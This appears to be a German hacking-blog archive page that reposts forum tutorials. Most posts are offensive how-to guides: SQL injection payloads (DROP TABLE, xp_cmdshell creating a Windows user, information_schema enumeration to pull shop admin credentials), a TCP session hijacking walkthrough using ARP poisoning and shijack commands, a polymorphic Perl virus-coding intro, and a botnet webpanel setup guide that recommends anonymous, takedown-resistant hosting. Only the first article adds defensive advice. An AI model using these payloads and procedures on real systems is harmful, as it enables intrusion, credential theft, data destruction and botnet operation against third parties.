Mai 18
SQL-Injection – Angriff und Abwehr
SQL-Injection – Angriff und Abwehr
SQL-Injection bezeichnet das Einschleusen von eigenen Befehlen in eine SQL-Datenbank. Überprüft eine Web-Applikation Benutzereingaben nicht ausreichend, ist damit jede Datenbank auf jedem Betriebssystem verwundbar.
Webshops, News-Boards, Groupware- und Content-Management-Systeme setzen Datenbanken ein, um darin Kundendaten, Artikel und Texte abzulegen. Oft trifft der Besucher solch einer Seite auf Kombinationen von Windows-2000-Server, IIS, MS-SQL-Server und Active Server Pages oder Linux zusammen mit Apache, mySQL und PHP oder Perl.
In Webformularen können Benutzer Informationen eingeben, um Bestellungen einzugeben oder sich als Kunde zu registrieren. Aus diesen Angaben erzeugt die Web-Applikation dynamische Datenbankanfragen. Überprüft die Applikation die Eingabe nicht oder fehlerhaft, ist es möglich, spezielle Zeichenketten einzuschleusen. Mit geschickt gewählten Eingaben kann ein Angreifer dann eigene Parameter und Befehle an die Datenbank übergeben und auf deren Inhalte und sogar das System zugreifen.
Linguistik
Um Daten in eine SQL-Datenbank zu schreiben oder daraus zu lesen, kommuniziert eine Applikation mit der Datenbank über die Befehlssprache SQL (Structured Query Language). In der Regel übergibt sie einen kompletten String, den sie vorher aus Befehlen und Benutzereingaben zusammengefügt hat. Da es eine Vielzahl von SQL-Datenbank-Lösungen gibt, die teilweise eigene Funktionen unterstützen, ist der SQL-Befehlsumfang mittlerweile recht groß. Eine Schnittmenge von Befehlen, wie etwa Befehle SELECT, UPDATE, DELETE, INSERT, **** und WHERE, verstehen aber alle. SQL-Datenbanken können mehrere Datenbanken mit jeweils mehreren Tabellen enthalten, die wiederum aus mehreren Spalten bestehen.
Ungefiltert
Mit dem SQL-Befehl
SELECT * FROM kunde WHERE card = ‘visa’
liefert eine Datenbank alle Datensätze der Tabelle kunde zurück, die in der Spalte card den Wert visa abgelegt haben. Ersetzt man die konstante Zeichenkette visa durch eine Variable $card, so sind in Verbindung mit einer Benutzereingabe verschiedene Zeichenketten möglich:
SELECT * FROM kunde WHERE card = ‘$card’
Solange in der Variablen Werte wie visa, amex oder master stehen, reagiert die Datenbank wie erwartet. Gibt ein böswilliger Benutzer jedoch die Zeichenkette ‘;**** TABLE KUNDE– ein, schickt die Applikation folgendes an die Datenbank:
SELECT * FROM kunde WHERE card = ”;**** TABLE KUNDE–’
Da das Semikolon ein Trennzeichen darstellt, sieht die Datenbank zwei Befehle:
SELECT * FROM kunde WHERE card = ”
zeigt alle Datensätze deren Spalte card leer ist. Anschließend führt die Datenbank den zweiten Befehl aus, der die Tabelle kunde komplett löscht.
**** TABLE KUNDE–’
Die zwei Bindestriche kennzeichnen den Anfang eines Kommentars, weshalb auch das letzte Hochkomma (Quote) ignoriert wird, statt einen Fehler hervorzurufen. In diesem Beispiel kann ein Angreifer ohne vorherige Authentifizierung ganze Tabellen von der Festplatten wischen. Allerdings muss die Web-Applikation die erforderlichen Zugriffsrechte besitzt. Beim Anlegen des entsprechenden Datenbanknutzers muss der Datenbank-Administrator das Löschen mittels **** erlauben.
Das grundlegende Problem bei SQL-Injection ist die fehlende Filterung der Eingaben auf mögliche Quotes. Viele Applikation setzen einen SQL-Befehl aus Stringelementen zusammen, die von Hochkommas eingerahmt werden müssen. Unter Java sieht das dann so aus:
String sql = new String(“SELECT * FROM kunden WHERE
card= ‘” + request.getParameter(“cardname”)”‘”)
Java expandiert die Eingabe cardname und fügt sie dem feststehenden String hinzu. Mögliche Quotes in cardname bleiben erhalten, erscheinen nun aber in einem anderem Kontext. Der ursprünglichen Befehl kann um weitere Befehle ergänzt werden.
——————————Seite 2———————————————————–
Kung Fu
Durch das Einschleusen eigener Befehle ist es möglich, auf beliebige Tabellen und Daten zuzugreifen und deren Inhalte zu manipulieren, zum Beispiel Kreditkartennummern, die ein Webshop zu Abrechnungszwecken gespeichert hat. Dazu muss ein Angreifer aber die Struktur der Datenbank kennen. Um etwa aus einer Tabelle zu lesen, ist es notwendig, den Tabellennamen anzugeben. Ohne Einblick in den Source-Code muss er raten — oder die Datenbank dazu bewegen, Informationen preiszugeben.
Je nach Plattform und Umgebung, zeigen Web-Applikationen in bestimmten Situationen dem Anwender Fehlermeldungen an. Beispielsweise geben Microsofts Active Server Pages über misslungene Zugriffe auf den MS-SQL-Server Auskunft.
Übergibt man im Web-Frontend als Usernamen
‘ having 1=1–
an, so erzeugt die Programmzeile
var Query = “SELECT * FROM users WHERE username = ‘” + username + “‘
and password =” ‘ ” + password + “‘”;
eine Fehlermeldung, da das SQL-Statement HAVING an dieser Stelle eigentlich nichts zu suchen hat. Sinngemäß lautet die Meldung: “Die Spalte users.username ist ungültig, da sie in keiner Funktion enthalten ist und kein GROUP-BY-Argument angegeben ist.”
Ein Angreifer weiß nun, dass es in der Tabelle users die Spalte username gibt und kann weitere Versuche starten:
‘ group by users.username having 1=1–
produziert die Ausgabe: “Die Spalte users.password ist ungültig, da sie in keiner Funktion enthalten ist und kein GROUP-BY-Argument angegeben ist.” Zusätzlich kennt er nun den Namen eines weiteren Feldes. Neben HAVING sind auch andere SQL-Befehle möglich, um Fehlermeldungen zu produzieren. Den Variablentyp erfährt der Angreifer durch die Eingabe
‘ union select sum(username) from users–
Die Applikation meldet einen Fehler, wenn username vom Typ varchar ist: Die Funktion sum() erlaubt nämlich keine varchars als Argument.
Mit vielen provozierten Meldungen kann man sich nach und nach ein Bild vom Aufbau der Datenbank machen. Anschließend ist es dann relativ einfach, eigene Datensätze zu schreiben, zu ändern, zu lesen oder zu sogar zu löschen.
Mehr Kung Fu
Unterstützt die Datenbank besondere Features, so ist es sogar möglich mit dem darunterliegenden Betriebssystem zu kommunizieren. Für einen MS-SQL-Server auf Windows 2000 und VBScript findet man häufig solche Anweisungen:
var Query = “SELECT * FROM myKunde WHERE card = ‘”
& request.form(“eingabe”) & “‘”;
Set myDatensatz = myConnection.execute(Query);
Mit dem Befehl lassen sich allen Datensätze anzeigen, in denen die Variable eingabe identisch mit dem Inhalt des Feldes card. Leider hat auch hier der Programmierer darauf vertraut, dass der Bediener keine bösen Absichten hat. Gibt dieser nämlich
‘ exec master..xp_cmdshell ‘net user foo bar /ADD’–
ein, so macht das Skript daraus den Befehl:
SELECT * FROM myKunde WHERE card = ”
exec master..xp_cmdshell ‘net user foo bar /ADD’–’
Der MS-SQL-Server liest den letzten Teil des Kommandos als sogenannte Extended Stored Procedures (ESP), die er auf dem Server ausführt[1]. Die Funktion xp_cmdshell übergibt den sich anschließenden String als Befehl an die DOS-Kommandozeile. Das Beispiel fügt damit dem System, beispielsweise Windows 2000, den User foo mit dem Password bar hinzu. ESPs sind im Prinzip dynamische Bibliotheken, die zur Laufzeit nachgeladen und ausgeführt werden. Neben MS-SQL unterstützen auch andere Datenbankhersteller Extended Stored Procedures, die diverse Funktionen bieten, beispielsweise Registry-Keys lesen und schreiben oder Dienste starten und stoppen[9].
———————Seite 3——————————————————————–
Besser Coden
Um SQL-Injection zu vermeiden, ist es notwendig, eingegebene Zeichenketten sorgfältig zu überprüfen und zu filtern, bevor die Applikation sie als Argument in einen SQL-Befehl expandiert und an die Datenbank sendet. Die Strategie des Filters sollte restriktiv sein. Dazu gibt es zwei Ansätze, die je nach Einsatzumgebung sinnvoll sind. Ist die zu erwartende Menge möglicher Benutzereingaben vorhersagbar, sollen nur diejenigen erlaubt sein, die in einer definierten Liste aufgeführt sind. Der Inhalt eines Feldes in das Anwender beispielsweise Automarken eingeben können, lässt sich mit einer Liste aller bekannten Marken vergleichen. Die Applikation verwirft die Eingabe, wenn sie keinem Eintrag in der Liste entspricht. Ähnlich den Filteransätzen bei Firewalls wäre dies eine “deny all, allow some”-Strategie.
Schwieriger wird das Filtern bei nicht vorhersagbaren Eingaben wie Straßennamen, Nachnamen und Telefonnummern. Hier funktioniert nur der “allow all, deny some”-Ansatz zufriedenstellend. Die Applikation darf nur Eingaben an die Datenbank weitergeben, die definierte Elemente nicht enthält: Das Quote-Zeichen und das Semikolon sind verboten. Auch die hintereinander gestellten Bindestriche (“–”) dürfen nicht in der Zeichenkette zu finden sein. Andernfalls verwirft das Programm die Eingabe.
Zusätzlich sollte der Filter nach SQL-Befehlen in der Zeichenkette suchen. Trifft er dabei auf solch einen String, verwirft er ebenfalls die Anfrage. Allerdings ist dieses Vorgehen nicht immer pauschal richtig. Einige Content-Management-System speichern Texte in der Datenbank. Der vorliegende Text würde bei Berücksichtigung obiger Hinweise nie den Weg in solch ein System finden. Hier muss der Programmierer verschiedene Methoden kombinieren.
Sehr empfehlenswert ist der Einsatz von Prepared SQL-Statements beziehungsweise Stored Procedures. Dazu definiert man im Programm Templates der gewünschten SQL-Befehle und sendet sie an die Datenbank:
SELECT * FROM users WHERE card = ?
Diese speichert die Befehle und fügt später nur noch die zur Laufzeit übergebenen Parameter hinzu. Ein nachträgliches Einschleusen von zusätzlichen SQL-Befehlen ist dann nicht mehr möglich.
Schützenhilfe bei der Erstellung und dem Betrieb von Datenbank-Applikationen erhalten Programmierer von diversen Tools. Diese helfen schon in der Entwicklungsphase kritische Funktionen und Variablen zu erkennen und zu verbessern[8]. Spezielle Schwachstellen-Scanner überprüfen laufende Applikationen und verschiedene Datenbank-Produkte auf SQL-Injection, Cross-Site-Scripting und sogar Buffer Overflow und erstellen einen Bericht über gefundene Sicherheitslücken[7].
Netzwerksicherheit
Normale Firewalls sind nicht in der Lage SQL-Injection abzuwehren, da ein Angreifer auf die Datenbank nur über ein Web-Frontend mit Formularen zugreift. Firewalls filtern auf Port-Ebene und der Zugriff auf das Frontend mit HTTP (Port 80) ist ja erlaubt.
Application-Level-Firewalls (Proxies), Firewalls mit Intrusion Prevention (IPS) und netzwerkbasierte Intrusion Detection Systeme (IDS) können zwar SQL-Fragmente in Paketen erkennen, daraus aber ein sinnvolles Regelwerk zu erstellen, ist sehr aufwendig, da das schützende System nichts über den aktuellen Kontext weiß. So darf ein spezieller Benutzer bestimmte Datensätze löschen, andere hingegen nicht. Das IDS kann dies aber nicht unterscheiden.
Spezielle Host-basierte Datenbank-Intrusion-Protection-Systeme (DB-IPS) [5,6] versuchen Angriffe auf die Datenbank zu erkennen und abzuwehren. Sie sind auch in der Lage zu unterscheiden, welche Applikation und welche Benutzer bestimmte Befehle an die Datenbank senden dürfen. Einige DB-IPS können sogar Anomalien in der Kommunikation feststellen, beispielsweise wenn eine Applikation plötzlich Kommandos übergibt, die zwar gültig sind, aber vorher noch nie aufgetaucht sind.
Eine vorherige Anmeldung am Server oder der Applikation beseitigt zwar nicht das SQL-Injection-Problem, grenzt doch aber die Zahl möglicher Benutzer ein. Ein Web-Server kann dann Schutz bieten, wenn die Verbindung mit SSL gesichert ist und die Authentifizierung in beide Richtungen erfolgt, also nicht nur der Server ein Zertifikat sendet, sondern auch der Client. Allerdings kann dann aufgrund der Verschlüsselung netzwerk-basierte Intrusion Prevention System nicht mehr in die Pakete hineinschauen; ein eventueller Angriff bliebe unerkannt. Für host-basierte IPS gilt diese Einschränkung nicht.
Eine Anmeldung über ein Webfrontend ist zwar denkbar, da aber meist auch die Anwender-Authentifizierung auf Datenbanken zurückgreift und somit für SQL-Injection anfällig ist, tritt der Fehler nur an anderer Stelle auf.
Fazit
SQL-Injection wird zu einer ernst zu nehmenden Bedrohung für Web-Lösungen die Datenbanken verwenden. Inbesondere Applikationen die mit PHP und ASP entwickelt wurden, scheinen den Statistiken nach besonders anfällig zu sein. Die Zahl der Meldungen von Buffer Overflows in Open-Source-Lösungen und kommerziellen Produkten ist zwar weitaus größer, SQL-Injection-Attacken sind aber viel leichter durchzuführen, da ein Angreifer dazu nur einen Web-Browser benötigt. Programmierer müssen zukünftig sorgfältiger bei der Erstellung von Datenbank-Applikationen sein, um zu vermeiden, dass wichtige Daten kompromittiert werden.(dab)
Literatur
[1] Advanced SQL-Injection
[2] More Advanced SQL-Injection
[3] Manipulating SQL-Server using SQL-Injection
[4] Verteidigung gegen SQL-Injection-Angriffe
[5] AppRadar™ for Microsoft SQL Server
[6] Secure Sphere
[7] AppDetective
[8] WebInspect
[9] Extended Stored Procedures Programmer’s Reference[/font][/color]
Autor: Unbekannt
Quelle: free-hack.com
Mai 18
information_schema
################################################## ##
# mySQL Injection version 5 and information_schema #
# fred777 #
################################################## ##
0×00 Intro:
Willkommen zu meinem Paper über SQL Injections mit mySQL 5.
Alle Standards solltet ihr aus anderen oder meinem ersten Tutorial bereits kennen.
Folglich werde ich auch nicht auf alle Begriffe ausführlich eingeben…
################################################## ##
0×01 Knowledge:
Der bedeutenste Unterschied von Version 4 zu Version 5 ist die information_schema.
Eine Datenbank, welche Zugriff auf Metadaten der eigentlichen Datenbank bietet.
Folglich sind die Namen, Statistiken und Datentypen über Tables, Columns und andere
Datenbanken vorhanden. Es gibt viele Tables der information_schema wie etwa:
INFORMATION_SCHEMA SCHEMATA
INFORMATION_SCHEMA TABLES
INFORMATION_SCHEMA COLUMNS
INFORMATION_SCHEMA STATISTICS
INFORMATION_SCHEMA USER_PRIVILEGES
INFORMATION_SCHEMA SCHEMA_PRIVILEGES
INFORMATION_SCHEMA TABLE_PRIVILEGES
INFORMATION_SCHEMA COLUMN_PRIVILEGES
INFORMATION_SCHEMA CHARACTER_SETS
INFORMATION_SCHEMA COLLATIONS
Ich könnte natürlich jetzt auf jede einzelne Table eingehen, doch ich belasse es mal bei den
für uns wichtigsten. Das wären:
INFORMATION_SCHEMA SCHEMATA
INFORMATION_SCHEMA TABLES
INFORMATION_SCHEMA COLUMNS
INFORMATION_SCHEMA SCHEMATA bietet uns Informationen über die vorhandenen Datenbanken an.
Sie besitzt folgende Columns:
CATALOG_NAME
SCHEMA_NAME
DEFAULT_CHARACTER_SET_NAME
DEFAULT_COLLATION_NAME
SQL_PATH
Wirklich wichtig ist nur SCHEMA_NAME, welcher uns die Namen der Datenbanken liefert.
INFORMATION_SCHEMA TABLES, ja wer hätte das gedacht, gibt und Informationen über die
vorhandenen Tables, auch hier gibt es eine Menge Columns:
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
……
Wichtig für uns ist nur der Table_name, da wir somit ganz schnell die Usertable hätten..
INFORMATION_SCHEMA COLUMNS, gibt uns Informationen über die vorhandenen Columns..
Die wichtigen Spalten hier sind folgende:
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
Wir sehen, würden wir jetzt die Usertable suchen, könnten wir uns somit alles auslesen.
################################################## ########
0×02 Exploiting:
Jetzt testen wir das ganze mal an einem Beispiel. Wir haben eine Seite mit einem Query, welcher verwundbar ist,
eine Ausgabe hervorbringt und das ganze schon auf Version 5 gecheckt.
http://www.seite.de/index.php?id=777…,version(),4– f == Version 5.xxxxx
Nun würden wir gerne die Usertable abrufen, wissen aber nicht wie diese sich nennt, nach
unserem jetzigen Erkenntnisstand könne wir die information_schema fragen.
Also los:
http://www.seite.de/index.php?id=777…hema.columns– f
Wie wir oben gesehen haben, birgt diese Table alle nötigen Informationen in sich.
Außerdem erscheint eine 3, also existiert die information_schema.columns
(Wir verbinden die Datenbank mit der Table duch einen Punkt, um darauf zuzugreifen)
Seitzen wir also schonmal die entsprechenden Columns:
http://www.seite.de/index.php?id=777…hema.columns– f
Es wird uns der erste Eintrag angezeigt:
information_schema:CHARACTER_SETS:CHARACTER_SET_NA ME
Datenbank ——————– Table ————— Column
Jetzt wollen wir aber den Namen der Usertabelle finden und diese liegt sicher nicht in der
information_schema sondern in einer anderen Datenbank. Wir erinnern uns an LIMIT und setzen es dahinter
Unser Ziel ist es erstmal aus der information_schema herauszukommen, was meist um den 180. Eintrag passiert
http://www.seite.de/index.php?id=777…+limit+180,1– f
eShopdatabase:News:Id
Datenbank — Table — Column
Aha, schon besser, und als weiter..
http://www.seite.de/index.php?id=777…+limit+194,1– f
eShopdatabase:eShopAdmins:Username
Datenbank — Table — Column
Wir sind fündig geworden und haben den Namen, jetzt wird um ein paar Stellen verschoben wohl auch
Password sitzen. Welches ihr einfach genauso suche müsst..
Nun starten wir wie gewohnt unsere Abfrage mit den nun gewonnenen Namen.
http://www.seite.de/index.php?id=777…+eShopAdmins– f
Damit es keine Probleme mit anderen Datenbanken gibt, sagen wir dem Query noch aus welcher Datenbank eShopAdmins kommt
http://www.seite.de/index.php?id=777….eShopAdmins– f
################################################## #############
0×03 Tricks and Tipps:
So nun gibt es noch ein paar Vereinfachungen, welche es uns ermöglichen schneller eine gewisse Table zu finden.
Dazu stellen wir eine Art Bedingung auf mittels WHERE oder auch LIKE.
Vorhin sind wir durch die gesamte information_schema gewandert um dann bei ca. dem 190. Wert halt zu machen.
Sagen wird soch einfach, gib alle Columns und Tables aus, welche NICHT in der information_schema liegen
http://www.seite.de/index.php?id=777…_Schema’– f
Das Problem hier könnte werden, das ‘ gequoted werden, so wandeln wir das ganze einfach in hex um.
information_schema == 0x696E666F726D6174696F6E5F736368656D61
http://www.seite.de/index.php?id=777…736368656D61– f
So, oder wir machen es uns noch einfacher, und sagen WHERE table_schema=’eShopdatabase’– f
Ein ähnlicher weg ist, die Abfrage mit database() zu machen:
http://www.seite.de/index.php?id=777…e+table_schema = database()– f
Der zweite wichtige Befehl welcher uns schneller zum Ziel bringt ist instr(arg,word), er findet Zeichenkette.
Das machen wir uns zu nutze, da in der Usertable meisten die Column welche die Passwörter enthält mit ‘pass’ anfängt
Also suchen wir die Database+Tablename+Columnname aus der “richige” Datenbank (database()) wenn columnname den String
pass enthält. Also so:
http://www.seite.de/index.php?id=777…9;pass’)– f
Auch hier können wir notfalls den Wert mit hex ersetzen.
Der Vorteil durch instr(), wir müssen lange nicht 190 Werte durchgehen, sondern stoßen direkt auf die richtige
Table/Column.
################################################## ################
0×04 Complete:
Das wars auch schon wieder, ich hoffe es war lehrreich und schaut auch mal auf fred777.de vorbei 
fred777 and GreezZ to my friendsZ
Autor: fred777
Quelle: creative-coding.us
Mai 17
SQL Injection
Autor: Dexx
Quelle: free-hack.com
Hoster: uploaded.to
Thema: Dexx zeigt & erklärt, die grundlagen einer SQL Injection.
Länge: 09:07 min.
Dateityp: .avi
Dl. größe: 87,75MB
Gepackt mit: WinRAR
Passwort: tut0r1al.5x.to
Mai 17
TCP Session Hijacking
TCP Session Hijacking
by Cheese
cheese[at]mymail.ch
http://cheese.5x.to
—=[ Contents
[0x01] – Einführung
[0x02] – Theorie
[0x02a] – TCP Sessions
[0x02b] – Man-in-the-Middle
[0x02c] – Session Hijack
[0x03] – Praxis
[0x03a] – Tools
[0x03b] – Scenario
[0x03c] – Angriff
[0x04] – Outro
—=[ 0x01 - Einführung
Hallo Leser, dieses Paper soll dir die Grundlagen sowie die
Ausführung von Hijacking Angriffen auf TCP Sitzungen näher bringen.
Mit Hijacking meine ich eine unrechtmäßige Übernahme einer Verbindung.
Passwortabfragen werden normalerweise nur beim beginn einer Sitzung
durchgeführt, mit einer Übernahme einer bestehenden Verbindung kann
so diese Abfrage umgangen werden.
---=[ 0x02 - Theorie
-------=[ 0x02a - TCP Sessions
Beim aufbauen einer TCP Verbindung beginnt der Client indem er ein
SYN-Packet (SYN=synchronize) mit einer Sequenznummer sendet. Diese
Sequenznummer wird benutzt um eine Übertragung in der richtigen
Reihenfolge zu versichern. Sie wird mit jedem Packet um 1 erhöht.
Jede Seite der Übertragung wartet auf ein Packet mit einer bestimmten
Sequenznummer, ist die des ankommenden Paketes höher wird es
zurückgelegt bis es an der Reihe ist, ist sie niedriger wird es als
veraltet gewertet und somit verworfen. Die erste Sequenznummer ist
zufällig.
Der Server antwortet mit einem SYN/ACK-Packet (ACK=acknowledgment)
welches die Sequenznummer des Cleints+1 enthält sowie eine eigene
Start-Sequenznummer. Der Client bestätigt mit einem ACK Packet welches
wiederum die Sequenznummer des Servers+1 enthält, damit ist die
Verbindung aufgebaut.
+---+ syn seq=x +---+
| C | -------------------> | S |
| L | | E |
| I | syn ack=x+1 seq=y | R |
| E | <-------------------- | V |
| N | | E |
| T | ack=y+1 seq=x+1 | R |
+---+ --------------------> +---+
Möchte man eine Session übernehmen ist eine Bedingung das man
Pakete mit der richtigen Sequenznummer sendet, da sie sonst verworfen
werden. Um an die Richtige Sequenznummer zu kommen gibt es zwei
Möglichkeiten.
Möglichkeit A:
Man versucht die Sequenznummer zu erraten. Sie besteht aus
32Bit und hat damit _nur_ 4294967296 Möglichkeiten, viel Glück!
Möglichkeit B:
Man snifft die bestehende Verbindung, dies geht in Netzwerken
welche HUBs benutzen ohne Probleme, aber um dies in einem
Netzwerk mit Switchen zu realisieren gibt es nur einen Weg:
Man-in-the-Middle!
-------=[ 0x02b - Man-in-the-Middle
Um Man-in-the-Middle zu werden benutzen wir ARP Poisoning.
ARP (Address Resolution Protocol) weist IP Adressen MAC Adressen zu
um eine Übertragung im Ethernet zu ermöglichen. Ihr solltet euch
über dieses Protokoll informieren wenn euch das fremd ist.
Um den Datenverkehr zwischen 2 Hosts abzuhören sendet der
Attacker ein manipuliertes ARP Packet an einen der Hosts welches die IP
vom zweiten Host und die Mac vom Attacker enthält. Dadurch sendet er
jedes Packet welches eigentlich für den zweiten Host bestimmt ist zum
Attacker. Das gleiche macht man mit dem anderen Host, der Attacker
selbst leitet jedes Packet zum eigentlichen Ziel weiter, somit agiert
er als unbemerkte Zwischenstelle, als Man-in-the-Middle.
+------+ +------+
|HOST-A| -------------------SWITCH------------------ |HOST-B|
+------+ ................. | ................. +------+
: | :
: | :
: | :
: | :
+--------+
Hello [A], I am [B] > |ATTACKER| < Hello [B], I am [A]
+——–+
——-=[ 0x02c - Session Hijack
Hijackbar ist jede unverschlüsselte Verbindung.
Wir beginnen mit der Man-in-the-Middle attack zwischen dem Zielhost
und dem Server, wenn der Server nicht im gleichen Subnet ist (Internet)
greifen wir statt dem Server das Gateway an. Wenn dieser Angriff
erfolgreich ist können wir alle Verbindungen von unserem Computer aus
mit einem Packetsniffer überwachen.
Wenn wir eine Verbindung Hijacken wollen warten wir auf ein Packet
und übernehmen alle Infos aus diesem: Quell-IP, Ziel-IP, Quell-Port
Ziel-Port sowie die Sequenznummer. Mit diesen Daten erzeugen wir ein
eigenes Packet und sendet es zum Server. Der Server akzeptiert es
und erhöht die erwartete Sequenznummer des nächsten Paketes.
Sobald das echte Packet vom echten Client ankommt wird der Server es
als Veraltet verwerfen, der Client ist somit desynchronisiert und
verliert die Verbindung. Die Verbindung wird nun zwischen Server und
Attacker weitergeführt.
---=[ 0x03 - Praxis
-------=[ 0x03a - Tools
Es existieren einige Programme welchen den kompletten Vorgang
übernehmen können (Hunt,Juggernaut,T-Sight), jedoch hatte ich in
meinen Vorbereitungen einige Probleme mit diesen.
Für die Man-in-the-Middle angriff werde ich das weit verbreitete
Programm "Ettercap" benutzen. "Wireshark" kommt als Packetsniffer
zum Einsatz. Den Hijack werde ich mit "Shijack" durchführen.
Das ganze passiert mit einer Linux/GNU Maschine.
Shijack: http://packetstormsecurity.org/sniffers/shijack.tgz
-------=[ 0x03b - Scenario
Unser Ziel ist es eine Telnet Verbindung zwischen einem Client
und einem Server zu Hijacken.
Netzwerk:
+--------+ +--------+
| SERVER | <.......T..E..L..N..E..T......> | CLIENT |
|10.0.0.1| --------------+ +--------------|10.0.0.2|
+--------+ | | +--------+
| |
+------+
|SWITCH|
+------+
|
|
+--------+
|ATTACKER|
|10.0.0.3|
+--------+
-------=[ 0x03c - Angriff
Wie schon oft erwähnt beginnen wir mit dem MitM Angriff.
Ettercap wird im GTK Modus gestartet und wir Aktiviren im Sniff Menu
"Unified sniffing". Als Network interface eth0 und weiter geht es
mit einem klick auf "Scan for hosts" im Hosts Menu. Nachdem der scan
beendet ist lasse ich mir im selben Menu mit "Host list" die Hosts
anzeigen. 10.0.0.1 -> Add to Target 1, 10.0.0.2 -> Add to Target 2.
"Start sniffing" im Start Menu und "Arp poisoning" im Mitm Menu.
Als nächstes wird "Wireshark" gestartet und mit "List the avaible
capture interfaces..." eine liste der Interfaces geholt und das
Sniffing kann beginnen. Wir warten bis ein beliebiges Packet der Telnet
Verbindung gesendet wird. Wenn wir es anwählen können wir alle Infos
sehen.
bsp:
Source IP 10.0.0.2
Destination IP 10.0.0.1
Source Port 53517
Destination Port 23
Nun kommen wir zum Hijack mit "Shijack", nachdem Shijack
erfolgreich Compiled wurde (wenn es Probleme beim compilen gibt nehmt
die Binarys die dabei sind) können wir es starten.
#
#cheese:/home/cheese/hijack# ./shijack
#Usage: ./shijack <interface> <src ip> <src port> <dst ip> <dst port> [-r]
#<interface> The interface you are going to hijack on.
#<src ip> The source ip of the connection.
#<src port> The source port of the connection.
#<dst ip> The destination IP of the connection.
#<dst port> The destination port of the connection.
#[-r] Reset the connection rather than hijacking it.
#
OK das ist simpel.
#
#cheese:/home/cheese/hijack# ./shijack eth0 10.0.0.2 53517 10.0.0.1 23
#
Und ATTACKE!!! :>
#
#Waiting for SEQ/ACK to arrive from the srcip to the dstip.
#(To speed things up, try making some traffic between the two)
#
Das Tool läuft und wartet auf ein weiteres Packet um eine
funktionierende Sequenznummer zu bekommen. Sobald etwas über die
Telnet Verbindung gesendet wird springt es an!
#
#Got packet! SEQ = 0xad6e5b8e ACK = 0x5ebaf20d
#Starting hijack session, Please use ^C to terminate.
#Anything you enter from now on is sent to the hijacked TCP connection.
#
Hijack erfolgreich! Nun können wir beliebige Befehle über
die TCP Verbindung senden.
—=[ 0x04 - Outro
Alle unverschlüsselten Verbindungen sind Theoretisch anfällig
für TCP Session Hijacking, obwohl es oft einfacher ist das Passwort
zu sniffen sehe ich es trotzdem als gefährliche Technik denn auch
Einmal-Passwörter wie TAN oder Security Token sind dadurch
umgeh bar.
Ich hoffe euch hat der Einblick ins Hijacking gefallen.
-Thx for reading-
Written by : Cheese <cheese[at]mymail.ch>
Visit : cheese.5x.to!
: Back2Hack.cc
Autor: Cheese
Quelle: back2hack.cc
Mai 16
XSS – Cross-Site Scripting
Quelle: www.hakin9.org
Autor(en): Paul Sebastian Ziegler
Thema: Cross-Site Scripting
In diesem Artikel
erfahren Sie…
• wie man Skriptcode in anfällige Webseiten injiziert;
• wie man einfache Filtermechanismen umgeht;
• wie man Webseiten gegen XSS absichert.
Was Sie vorher wissen/
können sollten…
• die Grundlagen von HTML;
• die Grundlagen von JavaScript;
• wie dynamische Webseiten funktionieren.
Klick here
Mai 15
Perl Polymorphes Coden
#!/usr/bin/perl DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ DaRk- DaRk- CoDeZ Perl Polymorphes Coden CoDeZ DaRk- by Perforin DaRk- CoDeZ CoDeZ DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ $$$$$$$$$$$$$ $$ Intro $$ $$$$$$$$$$$$$ Servus Leute! Nach meinem Perl Virus writting TuT kommt nun mein Perl Polymorphes Coden TuTorialIch werde hier kurz erläutern wie man Variabeln changed, sowie Trash Code einfügt und wie man seinen Code kodiert! $$$$$$$$$$$$$$$$ $$ Trash Code $$ $$$$$$$$$$$$$$$$ Beim Trash Code handelt es sich wie der name schon vermuten lässt um Code der absolut gar keinen Sinn ergibt und nur gut ist um den Hash Wert einer Datei zu ändern.Dazu zeig ich euch nun ein kleines Skript.
Mai 14
Webpanal Bots
################################################
Webpanel Bot Tutorial
written by fred777
################################################
Ich beschreibe euch hier mal, wie ihr Webpanelbots konfiguriert und erstellt.
Da es ein Tut für Anfänger ist, nehme ich den Illusion Bot als Beispiel.
Für größere Botnets ist er allerdings keinesfalls zu empfehlen.
Bevor ihr euch allerdings an ein größeres Projekt heranwagt solltet ihr das Grundsätzliche beherrschen
Alles was man wissen sollte wird hier erklärt.
################################################
Als allererstes, was wir brauchen:
Einen Webhoster, für kleinere Botnets reichen kicksichere Gratishoster im Ausland
Eine größere Auswahl bekommt ihr bei mir unter Releases “Hosterliste”
Sobald allerdings ein großes Botnet in frage kommt, nehmt einen guten Hoster, wenn es geht sollte er
auch schon von anderen empfohlen worden sein.
Da aber alle ein bisschen unterschiedlich in der Konfiguration sind nehme ich für den Anfang Funpic, dort geht es sehr einfach
Webhoster: Funpic.de
Bot (Illusion Bot)
Compiler (hier noch nicht nötig)
Windows Tools
################################################
1.
So wir reggen uns also auf Funpic und erstellen uns einen Account, natürlich anonym
Als erstes schalten wir die FTP und MySQL-Funktion frei, da sie für die Konfiguration gebraucht werden
Das sieht dann ungefähr so aus:
Hostname: localhost
Datenbank: Test
Username: Test
Password: Password
Der Name der Datenbank bei Funpic ist immer gleich dem Community Nick.
wie das bei anderen Hostern aussieht sollte der Hoster genau beschreiben und falls Fragen auftauchen könnt ihr ihn
persönlich im Support fragen
Das gleiche gilt auch für kostenpflichtige Hoster
2.
So, jetzt ist der Bot an der Reihe
Im Ordner finden wir einen Ordner namens Webadmin dort gehen wir hinein
Nun öffnen wir die index.php die folgende daten beinhaltet.
$password = “123″;
/* MySQL */
$mysql_host = “localhost”;
$mysql_user = “Test”;
$mysql_password = “Password”;
/* */
$mysql_dbname = “Test”;
$mysql_host = “localhost”; (MySQL Host)$password = “123″; (Password für das Webinterface)
$mysql_user = “Test”; (MySQL User)
$mysql_password = “Password”; (MySQL Password)
$mysql_dbname = “Test”; (MySQL Datenbank)
Wir tragen natürlich alles richtig ein und uppen den ganzen Ordner per FTP auf den Webspace
Auf dem Webinterface wird allerdings wahrscheinlich ein SQL-Error entstehen, was aber nicht weiter schlimm ist
Wen wir nun auf Install klicken werden die restlichen daten für den MySQL Server installiert.
Das wäre erstmal geschafft.
3.
So, da wir den Bot auf Webinterface spezialisiert haben, geben wir dementsprechend ein Haken bei Web an und geben die Daten an
Wir können uns auch 2 Webhoster einrichten um unsere Bots steuern zu können.
Natürlich kann auch zusätzlich die IRC-Funktion aktiviert werden
Allerdings braucht ihr hierfür Erfahrung mit IRC Servern, was hier nicht gezeigt wird
